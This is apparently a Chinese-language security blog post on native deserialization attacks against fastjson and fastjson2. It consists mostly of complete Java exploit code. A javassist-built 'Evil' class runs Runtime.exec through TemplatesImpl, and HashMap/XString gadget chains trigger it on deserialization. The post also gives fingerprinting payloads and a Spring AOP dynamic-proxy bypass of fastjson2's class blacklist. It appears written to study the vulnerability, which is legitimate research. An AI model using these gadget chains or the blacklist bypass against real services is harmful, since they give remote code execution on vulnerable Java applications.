fastjson2 - wele

前言 Fastjson2 原生反序列化#

fastjson 最近一直在看，于是想趁着现在比较熟悉多深入学一下。

看到很多文章里面都在使用 javassist ，以及每次 templatesImpl 链，我都要额外写一个 evil 类，并且在终端切换 Java 版本去编译 java 文件为 class 文件，比较麻烦。

0x01 javassist 应用#

javassist 是一个处理 Java 字节码的库。

javassist.CtClass 是 class 文件的一个抽象代表，一个 CtClass 对象处理一个 class 文件，ClassPool 是 CtClass 对象的一个容器，代表一个 Class 文件。

1
ClassPool pool = ClassPool.getDefault();
2
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
3
// 创建一个类
4
CtClass cc = pool.makeClass("Evil");
5
// 设置父类
6
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()))
7
//
8
String Cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
9
// 讲 Cmd 插入静态代码中
10
cc.makeClassInitializer().insertBefore(Cmd);
11
// 取出字节码
12
byte[] evilBytes = cc.toBytecode();

构建一个 TemplatesImpl 对象

1
byte[][] code = new byte[][]{evilBytes};
2
TemplatesImpl templates = new TemplatesImpl();
3
setFieldValue(templates, "_bytecodes", code);
4
setFieldValue(templates, "_name", "Evil");
5
setFieldValue(templates, "_class", null);
6
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

0x02 一些信息探测（）#

探测是否为 fastjson 框架

1
{"@type":"java.net.InetSocketAddress"{"address":,"val":"example.com"}}
2
{{"@type":"java.net.URL","val":"http://example.com"}:"a"}
3
{"ext":"aaa","name":{"$ref":"$.ext"}}

fastjson 与 jackson 区别,fastjson 可能更宽容一些，对于双引号单引号混用不会报错 jackson 会报错

1
{"username": 'admin', "password": 'admin'}

0x03 fastjson 原生反序列化#

fastjson 原生反序列化中，通过 toString() 方法触发的后续 gadget 链子，这里可以使用 BadAttributeValueExpException 作为入口类，也可以使用 XString 的 equals() 触发 toString。

这里会调用 toString() 方法，一定会去使用 getter 方法获取值方便 toString。所以我们需要将构造好的 TemplatesImpl 放进 jsonArray 中

代码如下

1
ClassPool pool = ClassPool.getDefault();
2
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
3
CtClass cc = pool.makeClass("Evil");
4
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
5
String Cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
6
cc.makeClassInitializer().insertBefore(Cmd);
7

8
byte[] evilBytes = cc.toBytecode();
9
byte[][] code = new byte[][]{evilBytes};
10
TemplatesImpl templatesImpl = new TemplatesImpl();
11
setFieldValue(templatesImpl, "_bytecodes", code);
12
setFieldValue(templatesImpl, "_name", "Evil");
13
setFieldValue(templatesImpl, "_class", null);
14
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
15

16
JSONArray jsonArray = new JSONArray();
17
jsonArray.add(templatesImpl);

然后查看 XString 的 equals() 方法，会调用参数 obj2 的 toString 方法，也就是说，我们要让 obj2 为上述构造的 jsonArray

往前看，查找调用 XString.equals(obj2) 的代码，跟进 HashMap 的 readObject 方法，从 putVal 方法开始，存放新的 kv

先初始化，然后使用 (n-1) & hash 找存储桶的索引，如果该位置为空则直接放进去，否则，对当前要存放的新 kv 和已经存在该位置的旧 kv 做 hash 比对，然后在做 key 比对，并调用 new_k.equals(old_k)

所以这里，需要 new_k 为 Xstring 对象，old_k 为 jsonArray 对象，因此先在 hashMap 中放置 jsonArray 对象再放置 Xstring 对象。到这里 exp 如下

1
HashMap hashMap = new HashMap();
2
setFieldValue(hashMap, "size", 2);
3
    Class<?> nodeClass;
4
    // jdk 8 以上
5
    try {
6
        nodeClass = Class.forName("java.util.HashMap$Node");
7
    }
8
    // jdk 7 以下
9
    catch ( ClassNotFoundException e ) {
10
        nodeClass = Class.forName("java.util.HashMap$Entry");
11
    }
12
    Constructor<?> nodeConstructor = nodeClass.getDeclaredConstructor(int.class, Object.class, Object.class, nodeClass);
13
    nodeConstructor.setAccessible(true);
14
    Object table_ = Array.newInstance(nodeClass, 2);
15
    Array.set(table_, 0, nodeConstructor.newInstance(0, jsonArray, jsonArray, null));
16
    Array.set(table_, 1, nodeConstructor.newInstance(0, templatesImpl, templatesImpl, null));
17
    setFieldValue(hashMap, "table", table_);

调试发现 hash != p.hash

这里如果存在 spring-aop 依赖也可以使用 hsts （HotSwappableTargetSource）类来实现 hash 相等，原因如下，返回的是 HotSwappableTargetSource.class 执行 hashcode 的结果，所以所有 hsts 对象的 hashCode 计算值都相同。

或者就是根据 HashMap.hashCode(); 对每个 kv 进行 hashCode 然后异或累加， yy zZ 的 hashCode 值相同来构造两个 HashMap 对象，放入 map 的键值对中，这样也可以。

所以到这里 exp 如下

1
import com.alibaba.fastjson.JSONArray;
2
import javax.management.BadAttributeValueExpException;
3
import javax.xml.transform.Templates;
4
import java.io.*;
5
import java.lang.reflect.Array;
6
import java.lang.reflect.Constructor;
7
import org.springframework.aop.target.HotSwappableTargetSource;
8
import java.lang.reflect.Field;
9
import java.util.Base64;
10
import java.util.HashMap;
11

12
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
13
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
14
import com.sun.org.apache.xpath.internal.objects.XString;
15
import javassist.ClassClassPath;
16
import javassist.ClassPool;
17
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
18
import javassist.CtClass;
19

20

21
public class Fastjson1Exp {
22

23
    public static void main(String[] args) throws Exception{
24
        ClassPool pool = ClassPool.getDefault();
25
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
26
        CtClass cc = pool.makeClass("Evil");
27
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
28
        String Cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
29
        cc.makeClassInitializer().insertBefore(Cmd);
30

31
        byte[] evilBytes = cc.toBytecode();
32
        byte[][] code = new byte[][]{evilBytes};
33
        TemplatesImpl templatesImpl = new TemplatesImpl();
34
        setFieldValue(templatesImpl, "_bytecodes", code);
35
        setFieldValue(templatesImpl, "_name", "Evil");
36
        setFieldValue(templatesImpl, "_class", null);
37
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
38

39
        JSONArray jsonArray = new JSONArray();
40
        jsonArray.add(templatesImpl);
41

42
        XString xString = new XString("wsh");
43

44
        HashMap hashMap1 = new HashMap();
45
        HashMap hashMap2 = new HashMap();
46
        hashMap1.put("yy", jsonArray);
47
        hashMap1.put("zZ", xString);
48
        hashMap2.put("yy", xString);
49
        hashMap2.put("zZ", jsonArray);
50

51
        HashMap<Object, Object> hashMap = new HashMap<>();
52
        setFieldValue(hashMap, "size", 2);
53
        Class<?> nodeClass;
54
        // jdk 8 以上
55
        try {
56
            nodeClass = Class.forName("java.util.HashMap$Node");
57
        }
58
        // jdk 7 以下
59
        catch ( ClassNotFoundException e ) {
60
            nodeClass = Class.forName("java.util.HashMap$Entry");
61
        }
62
        Constructor<?> nodeConstructor = nodeClass.getDeclaredConstructor(int.class, Object.class, Object.class, nodeClass);
63
        nodeConstructor.setAccessible(true);
64
        Object table_ = Array.newInstance(nodeClass, 2);
65
        Array.set(table_, 0, nodeConstructor.newInstance(0, hashMap1, hashMap1, null));
66
        Array.set(table_, 1, nodeConstructor.newInstance(0, hashMap2, hashMap2, null));
67
        setFieldValue(hashMap, "table", table_);
68

69
        String ser = serialize(hashMap);
70
        unserialize(ser);
71
    }
72

73
    public static String serialize(Object obj) throws IOException {
74
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
75
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
76
        objectOutputStream.writeObject(obj);
77
        return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
78
    }
79
    public static void unserialize(String exp) throws IOException,ClassNotFoundException{
80
        byte[] bytes = Base64.getDecoder().decode(exp);
81
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
82
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
83
        objectInputStream.readObject();
84
    }
85
    public static void setFieldValue(Object object, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
86
        Class<?> clazz = object.getClass();
87
        Field field = clazz.getDeclaredField(fieldName);
88
        field.setAccessible(true);
89
        field.set(object,value);
90
    };
91
}

通过 hash 比对，弹出计算器。

完之后就是1.2.49 以后需要配合 set map list 使用，使用引用绕过恶意类匹配。2.x 是不需要的

0x04 fastjson2 原生反序列化#

2.0.26 之前的版本不受影响，以下 exp 可以正常弹出计算器

1
import com.alibaba.fastjson.JSONObject;
2
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
3
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
4
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
5
import javassist.*;
6

7
import java.io.IOException;
8
import java.lang.reflect.Field;
9

10
public class FastJsonExp {
11
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException {
12
        ClassPool pool = ClassPool.getDefault();
13
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
14
        CtClass cc = pool.makeClass("Evil");
15
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
16
        String Cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
17
        cc.makeClassInitializer().insertBefore(Cmd);
18

19
        byte[] evilBytes = cc.toBytecode();
20
        byte[][] code = new byte[][]{evilBytes};
21
        TemplatesImpl templatesImpl = new TemplatesImpl();
22
        setFieldValue(templatesImpl, "_bytecodes", code);
23
        setFieldValue(templatesImpl, "_name", "Evil");
24
        setFieldValue(templatesImpl, "_class", null);
25
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
26

27
        JSONObject jsonObject = new JSONObject();
28
        jsonObject.put("wsh",templatesImpl);
29
        jsonObject.toString();
30

31
    }
32
    public static void setFieldValue(Object object, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
33
        Class<?> clazz = object.getClass();
34
        Field field = clazz.getDeclaredField(fieldName);
35
        field.setAccessible(true);
36
        field.set(object,value);
37
    };
38
}

自 2.0.27 开始，加了一些黑名单，之前使用的 templatesImpl 被 ban 了，再次调试走不到 templatesImpl 的 getter 方法。

1
// BeanUtils.getDeclaredField()
2

3
static boolean ignore(Class objectClass) {
4
    if (objectClass == null) {
5
        return true;
6
    }
7
    String name = objectClass.getName();
8
    switch (name) {
9
        case "javassist.CtNewClass":
10
        case "javassist.CtNewNestedClass":
11
        case "javassist.CtClass":
12
        case "javassist.CtConstructor":
13
        case "javassist.CtMethod":
14
        case "org.apache.ibatis.javassist.CtNewClass":
15
        case "org.apache.ibatis.javassist.CtClass":
16
        case "org.apache.ibatis.javassist.CtConstructor":
17
        case "org.apache.ibatis.javassist.CtMethod":
18
        case "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet":
19
        case "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl":
20
        case "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl":
21
        case "org.apache.wicket.util.io.DeferredFileOutputStream":
22
        case "org.apache.xalan.xsltc.trax.TemplatesImpl":
23
        case "org.apache.xalan.xsltc.runtime.AbstractTranslet":
24
        case "org.apache.xalan.xsltc.trax.TransformerFactoryImpl":
25
        case "org.apache.commons.collections.functors.ChainedTransformer":
26
            return true;
27
        default:
28
            break;
29
    }
30
    return false;
31
}

使用动态代理绕过，其中的

1
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
2
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
3
cons.setAccessible(true);
4
AdvisedSupport advisedSupport = new AdvisedSupport();
5
advisedSupport.setTarget(templatesImpl);
6
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
7
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);